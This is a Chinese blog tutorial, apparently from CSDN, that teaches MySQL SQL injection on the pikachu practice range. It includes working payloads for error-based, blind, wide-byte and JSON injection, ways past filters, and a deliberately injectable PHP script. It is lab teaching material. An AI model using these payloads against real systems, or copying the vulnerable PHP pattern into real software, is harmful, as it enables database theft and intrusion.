• MySQL 数据库 SQL注入详解


    分享一个非常详细的网络安全笔记,是我学习网安过程中用心写的,可以点开以下链接获取:

    超详细的网络安全笔记

    二,文件包含漏洞详解

    一,SQL注入概念

    1-1 sql注入原理

    程序员在写后端代码时没有对前端接受的查询变量做严格过滤和限制,导致攻击者输入恶意的SQL语句并在服务端拼接到正常的的查询语句中,最后到数据库执行,带来一些严重的后果

    1-2 简单的测试语句

    1. ## 引号测试,加了引号如果报错,证明存在注入点
    2. ## 单引号闭合数据:
    3. $query="select id,email from member where username='vince'";
    4. ## 用单引号测试,会报错,双引号测试查不到数据,不报错
    5. 双引号闭合数据:
    6. $query='select id,email from member where username="vince"';
    7. ## 用双引号测试,会报错,单引号测试查不到数据,不报错
    8. or 1=1
    9. # 一个条件为真,即为真,真的效果就是查询到表中所有数据
    10. where id=1 and 1=1
    11. ## 两个条件为真才为真,查询结果和不加1=1一样,and 1=2 一个条件为假,即为假,查询条件为假,什么数据也没有,两个结合起来可以判断是否存在注入点。
    12. union select 联合查询  # 关系型数据库   redis非关系型的是不能用union select

    二,SQL注入分类

    用pikachu靶场来演示,靶场安装教程如下,我写了详细的过程,可以参考安装:

    【网路安全 --- pikachu靶场安装】超详细的pikachu靶场安装教程(提供靶场代码及工具)_网络安全_Aini的博客-CSDN博客【网路安全 --- pikachu靶场安装】超详细的pikachu靶场安装教程(提供靶场代码及工具)https://blog.csdn.net/m0_67844671/article/details/133682360?spm=1001.2014.3001.5502

    抓包工具 Burp Suite 详细安装配置请见如下博客:

    【网络安全 --- Burp Suite抓包工具】学网安必不可少的Burp Suite工具的安装及配置-CSDN博客文章浏览阅读123次。【网络安全 --- Burp Suite抓包工具】学网安必不可少的Burp Suite工具的安装及配置https://blog.csdn.net/m0_67844671/article/details/133843910?spm=1001.2014.3001.5502

    1-1 按基本类型

    1-1-1 数字型

    数字型注入的时候,是不需要考虑单\双引号闭合问题的,因为sql语句中的数字是不需要用引号括起来的,如下

    1. mysql> select username,email from member where id=1;
    2. mysql> select username,email from member where id=1 or 1=1;

    选择数字型,设置查询id号,在bp上进行抓包,放到重放器里面 

     

     构造payload 修改数据包

    id=1 改成 id = 1 or 1=1#

    成功拿到了数据

    我们来看看服务端处理代码

    直接取出id进行拼接,最后拼接成了

    select username,email from member where id = 1 or 1=1 #;

    成功把所有数据带出来了

     注:注意:我们判断是否为数字型注入,不是通过前端页面上看到的数据是数字就判断它是数字型注入,也有可能是伪数字型,因为后台处理的时候可能是将前端传递过来的数字通过引号括起来了,也就是作为了字符串来处理,所以要多尝试。

    1-1-2 字符型 

    选择字符型

    构造payload xx' or 1=1#

    成功的把所有数据带出来了 

    我们看看后端处理代码

    name拿出来之后,直接进行拼接,注意name是字符串,所以需要考虑单引号闭合问题;

    完整的SQL语句为(注意 # 有注释的作用,把最后的'注释掉)

    select id,email from member where username = 'xx' or 1=1#';

    如果你的验证不了,输入单引号的时候发现没有用,那么可能是因为phpstudy的魔术符号开启了,这是phpstudy的一个安全机制,我们关闭它

    1-1-3 搜索型

    回到pikachu平台,将拼接语句写为 
    %xxxx%' or 1=1 #%' 或者 xxxx%' or 1=1 #%' 都可以

    我们看看后端代码 

    最后拼接成了

    select username,id,email  from member where username like '%%xxx%' or 1=1;

    1-1-4 xx型

    何为xx型呢?先看后台代码:

    看代码发现它写了括号,正常不是这么写的,但是数据库还不报错,所以特殊写法的SQL并且数据库不报错的,我们统称为xx型

    XX型是由于SQL语句拼接方式不同,注入语句如下:  

    mysql> select * from member where username=('vince') ;
    mysql> select * from member where username=('xx') or 1=1;

    所以应该构造payload为 xx') or 1=1#

    1-2 按注入提交方式分类

    GET、POST、Cookie等

    注入提交方式的分类主要是根据后台代码处理请求方法的方

    1. ASP:request (全部接受)、request.querystring (接受get)、request.form (接受post)、request.cookie cookie (接受cookie)
    2. PHP: $_REQUEST(全部接受)、$_GET $_POST (接受post)、$_COOKIE(接受cookie)
    3. #$_GET不是取get请求携带的数据,而是取得查询参数数据
    4. 其他语言,看开发框架,不同的框架,提取http请求数据的写法或者说函数不同
    5. python django -- mvc -- request.GET requset.POST   request.body

    1-3 按请求位置分类 

    请求行、请求头、请求数据部分

    其实这个也没有什么好说的,所有提交给后台的数据,只要后台使用这个数据和数据库打交道,那么都可能存在注入点

    1-4 按注入查询语句分类

    1-4-1 insert 注入

    点击注册以后,填写信息,然后用bp进行抓包,放到重放器里面

     

    构造payload,进行数据获取

    1-1 爆表名

    通过修改limit 的参数来把表名逐个爆出来

    aini'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or'

    1-2 爆列名

    通过修改limit 的参数来把列名逐个爆出来

    ' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 2,1)),0) or'
     
    1-3 爆内容

    通过修改limit 的参数来把列里面的数据内容逐个爆出来

    1. ' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or'
    2. 等同于
    3. ' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or '1'='1''

    1-4-2 update 注入

    与insert注入的方法大体相同,区别在于update用于用户登陆端(或者修改数据的地方),登录端一般说的是修改最后一次登录时间等信息,insert用于用于用户注册端。

    先注册一个账户

    然后进行登录

    点击修改个人信息 

    如下页面,我们修改一下手机号,然后点击submit,通过burp抓包一下看看  

    上面我们看到有四个数据发送到了后台,但是目前不知道哪个是注入点,需要一个个的测,经测试发现手机号有个注入点:  

    构造payload

    ' or updatexml(0,concat(0x7e,(select database())),0) or'

    成功拿到了数据,可以用其他payload试一试,可以拿出来各种数据 

    1-4-3 delete 注入

    般应用于前后端发贴、留言、用户等相关删除操作,点击删除按钮时可通过Brup Suite抓包,对数据包相关delete参数进行注入,一般普通的用户是没有权限删除数据的,管理员才行。

    先进行留言

    你会发现每个删除按钮其实都对应一个网址,点击删除就往后台发送请求  

    抓包,放到重放器里面

    好,开始注入,注入方法如下:

    1. deletefrom message where id=56 or updatexml(2,concat(0x7e,(database())),0)  
    2. #注意这是个数字型注入,所以不要引号昂
    3. 56%20or%20updatexml(2,concat(0x7e,(database())),0) 空格编码了

    1-5 盲注 

    在我们的注入语句被带入数据库查询但却什么都没有返回的情况我们该怎么办?例如应用程序就会返回一个“通用的”的页面,或者重定向一个通用页面(可能为网站首页)。这时,我们之前学习的SQL注入办法就无法使用了。这种情况我们称之为无回显,如果页面有信息显示,我们称之为有回显。回显状态的页面没什么可说的,无回显的这种我们就可以采用盲注的手段

    1-5-1 时间型盲注

    用sleep函数,通过有没有睡眠时间来判断有没有注入点,如果有睡眠则存在注入点,如果报错或者没有睡眠则没有注入点

    盲注语句

    1. vince' and if(length(database())=7,sleep(5),null)# 判断数据库名长度,条件为真则进行睡眠,否在不会有数据
    2. vince' and if(substr(database(),1,1)='p',sleep(5),null)#
    3. vince' and if(ascii(substr(database(),1,1))=112,sleep(5),null)#

    pikachu选择盲注(base on time) 输入payload

    时间型盲注常用函数 

    1. ## 时间型盲注经常使用的函数:
    2. sleep(5)
    3. benchmark(10000000,MD5(1))
    4. ## benchmark是mysql的内置函数,是将MD5(1)执行10000000次以达到延迟的效果

    如果sleep被防御了,可以使用benchmark。

    1-5-2 布尔型盲注

    采用sql语句中and的方法,返回正确或错误来构造,按照之前的思路构造一个SQL拼接:

    vince' and extractvalue(0,concat(0x7e,version()))# 输入后根据返回的信息判断之前的思路不再适用。

    盲注语句  

    1. ## 判断用的数据库的长度
    2. vince' and length(database())=7#
    3. ## 若长度为7则返回数据,如果不是则不会返回数据,这样反复尝试可以直到库名的长度
    4. ## 获取数据库名
    5. vince' and ascii(substr(database(),1,1)) = 112#
    6. ## 判断数据库第一个字母的ascii值是否为112,也就是p,通过不断尝试,可以拿到库名

    结果没有报错,说明存在这个注入点,布尔型盲注基本都是通过ascii码来测试的。  

    select id,username,email from member where username='vince' and ascii(substr(database(),1,1))=112#'

    1-6 其他注入方式

    1-6-1 宽字节注入

    1-1 注入防御之引号转义和绕过思路

    好多网站,尤其是php的网站,为了防止sql注入,经常会采用一个手段就是引号转义,比如开启全局GPC配置,如下phpstudy中开启:

    也就是php.ini配置文件中添加magic_quotes_gpc=on。或者是使用一些转义函数,比如:addslashes和mysql_real_escape_string,他们转义的字符是单引号(')、双引号(")、反斜线()与NUL(NULL 字符),转义的方式就是在这些符号前面自动加上 \ ,让这些符号的意义失效,或者可以理解为被注释掉了。  

    那么我们的sql注入语句就跟着失效了,因为好多时候,我们写注入语句难免会使用到引号等特殊符号,比如下面这个  

    1. http://192.168.2.109/pikachu/vul/sqli/sqli_str.php?
    2. name=xx%27+or+1%3D1%23&submit=%E6%9F%A5%E8%AF%A2
    3. name=xx%27+or+1%3D1%23其实就是name=xx'or 1=1#进行了url编码之后的效果。如果后台执行的sql语句为
    4. $uname = $_GET('name')
    5. select * from member where username='$uname';
    6. ## 再注入这样的语句时,由于'被转义了,得到的sql语句将是如下效果的
    7. select * from member where username='xxx\'or 1=1#;,
    8. ## 后面的引号被转义,导致不能和前面的引号闭合上,那么这个sql语句的语法就是错误的,所有不会达到注入的效果,这就是防御的手段。

    这样就没有办法了,不是的,还可以尝试宽字节注入,那么这里我们提一下,上面的语句其实应该是这样的  

    1. $uname = $_GET('name') -- $uname其实等于 xxx%27+or+1%3D1+%23,
    2. ## 但是我们要解码啊,所以,其实后台获得的这个$uname变量数据实际上是xxx0x27+or+10x3D1+0x23,因为%是url编码时十六进制数据的前缀0x的简写。
    3. ## 后台转义单引号的时候,其实在前面加上\的时候,加的是\的十六进制编码,而\的十六进制编码为0x5C,也就是说xxx0x27这个数据,其实到后台加上转义之后,是xxx0x5C0x27,那么发散思路,我们可能就会想到,由于汉字在GBK编码的时候是两个十六进制的字节,UTF8是三个字节,而这个\是一个字节0x5c,如果我们能够再提供一个或者两个十六进制的字节数据和这个0x5c可以合并为一个汉字的编码的话,那么这个\不就被我们吃掉了吗?那么单引号就又可以生效了。

    注入测试,pikachu选择宽字节注入,然后抓包

    进行注入

    其中,我在%27前面加上了一个%df,也就是0xdf,到了后台之后单引号前面加上了0x5c,然后url解码,如下  

    1. xxx0xdf0x5C0x27+or+10x3D1+0x23
    2. ## 拼接到sql语句中如下
    3. select * from member where username='xxx0xdf0x5C0x27+or+10x3D1+0x23;
    4. 注入如下:
    5. xx%df%27+or+1%3D1%23 ------ xx%df' or 1=1#

    1-6-2 偏移量注入

    2-1 原理

    偏移注入是一种注入姿势,可以根据一个较多字段的表对一个少字段的表进行偏移注入,一般是联合查询,在页面有回显点的情况下。偏移注入现在用的不多了,因为有时候不太好用昂,示例中有提及。

    在SQL注入的时候会遇到一些无法查询列名的问题,比如系统自带数据库的权限不够而无法访问系统自带库。

    当你猜到表名无法猜到字段名的情况下,我们可以使用偏移注入来查询那张表里面的数据。

    1. ## 假设一个表有8个字段,admin表有3个字段。
    2. 联合查询
    3. payload:union select 1,2,3,4,5,6,7,8 from admin
    4. 在我们不知道admin有多少字段的情况下可以尝试
    5. payload:union select 1,2,3,4,5,6,7,admin.*
    6. ## from admin,此时页面出错直到payload:union select 1,2,3,4,5,admin.* from admin时页面返回正常,说明admin表有三个字段

    那么,如果页面上显示的2,3,4这三个字段数据,那么我们就可以将admin.提前,比如 union select 1,admin.,2,3,4,5 from admin ,那么admin表的数据在不知道字段名称的情况下就被回显出来了。  

    测试:  

    修改一下代码文件:

     

    然后抓包,添加偏移量注入的语句:

     

    1-6-3 报错注入

    在MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息,常见的select/insert/update/delete注入都可以使用报错方式来获取信息。为什么要用函数报错呢,是因为我们上面学到的一些注入测试手段,可能看不到报错,被屏蔽或者处理了,就不好判断是否有注入点,所以我们学一下基于函数的报错。

    3-1 常用的报错信息函数
    1. ## Updatexml() :函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。
    2. ## extractvalue() :函数也是MYSQL对XML文档数据进行查询的XPATH函数。
    3. ## floor() :MYSQL中用来取整的函数。
    4. ## 其实可完成报错注入的mysql函数有很多,大概有10几个,这里我就不一一说了。
    5. k' and updatexml(1,concat(0x7e,(select database()),0x7e),2)#
    6. k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)#
     3-2 实战测试
    2-1 爆破数据库版本信息
    1. k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #
    2. ## k这个字母是随便写的昂,写啥都行,0x7e是16进制,表示一个~符号
    3. k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #
    4. ## 那么这里为什么不直接写~,而是写成了16进制呢,因为~本身为字符串,如果直接写~,需要用引号引起来,如果用单引号的话,势必会和我们前面闭合用的单引号有些冲突,所以只能用双引号,所以还需要写引号,比较麻烦,并且如果别人后台对引号做了限制的话,我们用引号就会注入失败。
    5. k' and updatexml(1,concat("~",(SELECT @@version),"~"),1) #

    上面整句话的意思是,执行updatexml函数,匹配1这个数据中符合这个匹配规则 ,因为不符合所以报错,而且顺便爆出一些数据

    我们可以选择pikachu搜索型来做例子

    2-2 爆破数据库当前用户  
    k' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)# 

    2-3 爆破数据库  
    k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #

    2-4 爆表  
    1. ## 5.1版本及以上版本,mysql数据库中会存在一个叫做information_schema的默认数据库,这个库里面记录着整个mysql管理的数据库的名称、表名、列名(字段名).
    2. 获取数据库表名,输入:
    3. k'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#
    4. ## 但是反馈回的错误表示只能显示一行,所以采用limit来一行一行显示,看报错

    但是反馈回的错误表示只能显示一行,所以采用limit来一行一行显示,看报错 

    1. ## limit限制一行,
    2. 输入
    3. k' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)#
    4. ## 更改limit后面的数字limit 0 完成表名遍历。

     2-5 爆字段
    1. ## 获取字段名,输入:
    2. k' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' and table_schema='pikachu' limit 2,1)),0)#

    2-6 爆字段内容
    1. ## 获取字段内容,输入:
    2. k' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#
    3. ## 返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。
    4. ## 通过查询@@version,返回版本。然后CONCAT将其字符串化。因为UPDATEXML第二个参数需要Xpath 格式的字符串,所以不符合要求,然后报错。

    1-6-4 json注入

    4-1 json数据的格式
    1. ## 类型:
    2.   数字(整数或浮点数) {"age":30,"xx":"123"}
    3.   字符串(在双引号中) {"uname":"yang"}
    4.   逻辑值(truefalse) {"flag":true }
    5.   数组(在中括号中){"sites":[{"name":"yang"},{"name":"ming"}]}
    6.   对象(在大括号中)JSON 对象在大括号({})中书写:
    7.   null   { "runoob":null }
    8.    
    9. ## 注意点:下面是几个错误的格式
    10.   { name: "张三", 'age': 32 } // 属性名必须使用双引号
    11.   { name: "张三", 'age': '32' } //属性值如果是字符串,必须要双引号,不能用单引号
    12.   [32, 64, 128, 0xFFF] // 不能使用十六进制值
    13.   { "name": "张三", "age": undefined } // 不能使用undefined
    14.   ## 最后一组键值对后面不能有符号,比如不能有逗号了。

    那么看一下后台代码

    由于代码中设置了set character_set_client='gbk',那么将刚才拼接好的sql语句发送给mysql的时候,采用的gbk编码,那么sql语句就会变为如下:  

    1. select * from member where username='xxx0xdf0x5C0x27+or+10x3D1+0x23;
    2. GBK编码的数据库,会将0xdf0x5c识别为運字,这样\被0xdf给吃掉了,变成了一个汉字,这样的话,单引号
    3. 就有效了,就可以闭合前面的引号了,后面的or 1=1#这样的注入语句又能成功执行了,如下:
    4. select * from member where username = 'chao運' or 1=1 #'` -- 什么都查询到了

     整理一下请求网址和sql语句,如下

    1. ## 请求:
    2.   http://www.jaden.cn/?username=chao  #正常请求
    3.   http://www.jaden.cn/?username=chao' or 1=1 # #注入语句
    4.   http://www.jaden.cn/?username=chao\' or 1=1 # #单引号前面被自动加上了\进行了转义,单引号失效
    5.    
    6. ## 后台拼接的sql语句:
    7.   select * from member where username='chao'; #正常查询
    8.   select * from member where username = 'chao' or 1=1 # #注入成功的 
    9.   select * from member where username = 'chao\' or 1=1 #'  #\转义之后的sql语句
    10.    
    11. ## url编码之后的请求和sql语句写法
    12. http://www.jaden.cn/?username=chao%5c' or 1=1 # get请求携带数据时,一般会自动进行url编码,\编码为%5C
    13. select * from member where username = 'chao%5c' or 1=1 #'
    14. ## 如果后台数据库的编码为GBK,那么尝试宽字节注入,在引号前面加上%df
    15. http://www.jaden.cn/?username=chao%df%5c' or 1=1 #
    16. ## 宽字节注入之后,拼接的sql语句
    17. select * from member where username = 'chao%df%5c' or 1=1 #'
    18. ## GBK编码的数据库,会将%df%5c识别为運字,这样\被%df给吃掉了,变成了一个汉字,这样的话,单引号就有效了,就可以闭合前面的引号了,后面的or 1=1#这样的注入语句又能成功执行了,如下:
    19. select * from member where username = 'chao運' or 1=1 #'` -- 什么都查询到了
    4-2 JSON注入

    注:用的是旧版firefox浏览器,如果需要可以留言,可以分享给你

    phpstudy已经安装过了,下面是php服务端代码  ,写入到jaden.php文件里

    1.  // php防止中文乱码
    2.  header('content-type:text/html;charset=utf-8');
    3.  
    4.  if(isset($_POST['json'])){
    5.    $json_str=$_POST['json'];
    6.    $json=json_decode($json_str);
    7.    if(!$json){
    8.      die('JSON文档格式有误,请检查');
    9.   }
    10.    $username=$json->username;
    11.    //$password=$json->password;
    12.    // 建立mysql连接,root/root连接本地数据库
    13.    $mysqli=new mysqli();
    14.    $mysqli->connect('localhost','root','root');
    15.    if($mysqli->connect_errno){
    16.      die('数据库连接失败:'.$mysqli->connect_error);
    17.   }
    18.    // 要操作的数据库名,我的数据库是security
    19.    $mysqli->select_db('pikachu');
    20.    if($mysqli->errno){
    21.      dir('打开数据库失败:'.$mysqli->error);
    22.   }
    23.    // 数据库编码格式
    24.    $mysqli->set_charset('utf-8');
    25.    // 从users表中查询username,password字段
    26.    $sql="SELECT username,password FROM users WHERE username='{$username}'";
    27.    $result=$mysqli->query($sql);
    28.    if(!$result){
    29.      die('执行SQL语句失败:'.$mysqli->error);
    30.   }else if($result->num_rows==0){
    31.      die('查询结果为空');
    32.   }else {
    33.        while($data=mysqli_fetch_assoc($result)){
    34.            $username=$data['username'];
    35.            $password=$data['password'];
    36.            echo "用户名:{$username},密码:{$password}";
    37.       }
    38.   }
    39.    // 释放资源
    40.  $result->free();
    41.    $mysqli->close();
    42. }
    43. ?>

    正常查询效果:

    json={"username":"chao"}

    注入查询

    json={"username":"xx' or 1=1 #"}

    这就是json类型数据的注入,至于你想通过这个注入点做什么,就可以自行来写一些达到目的的注入语句了  

    三,PHP后端防御绕过

    1. $uname = $_GET('username');
    2. ## 情况一:判断关键字
    3.    if ('select' in $uname){
    4.        echo '不要搞事情'
    5.   }
    6. ## 情况二:替换关键字
    7.    将select * from users中的select替换为空字符串
    8. echo str_replace("select","","select * from users");
    9. ## 情况三:直接将用户提交的id数据转换为整型
    10.    $id = $_POST('id');
    11.    $id_int = intval($id);
    12. select * from users where id=$id_int
    13. ## 情况四:魔术符号,将用户提交的数据中的引号自动在前面加上\进行转义
    14.    ## magic_quotes_gpc=on
    15.    ## 或者使用了addslashes($id)
    16. ...
    17. ?>

    我们拿这么几种防御手法来举例  

    情况一绕过:大小写绕过:SELECT * FROM USERS;

    情况二绕过:双写:selselectect * from users; 其实str_replace只替换了一次select还剩下一个select

    情况三:强防御,这种的很难绕过了,因为我们写的注入语句都是字符串,针对提交数据为纯数字的时候,这种防御就很难绕过了,但是好多时候,用户正常向后台提交的数据都是非数字类型的,这样的话就不会进行intval()的加工,就可以尝试其他注入手法。

    情况四:开启了魔术符号转义功能,这种的参看我们前面说的宽字节注入、二次注入等,其他办法很难绕过,但是这里有个点,就是如果对id=1这种数字型的注入,还是有其他办法的,比如id=1 and select * from users;这样的注入语句没有单引号。

  • 相关阅读:
    Java 面试全解析:核心知识点与典型面试题
    【matplotlib 实战】--百分比柱状图
    【面试专线】【基础知识】【JAVA】基础(二)
    蓝桥杯练习题十三 - 猜字母(c++)
    yolov5训练步骤及安全帽检测
    web前端开发Vue面试题记录
    JAVA异步编程之Callbacks与Futures模型
    Fabric.js 设置容器类名要注意这几点
    使用jQuery实现简易商城系统
    当前读和快照读
  • 原文地址:https://blog.csdn.net/m0_67844671/article/details/133031125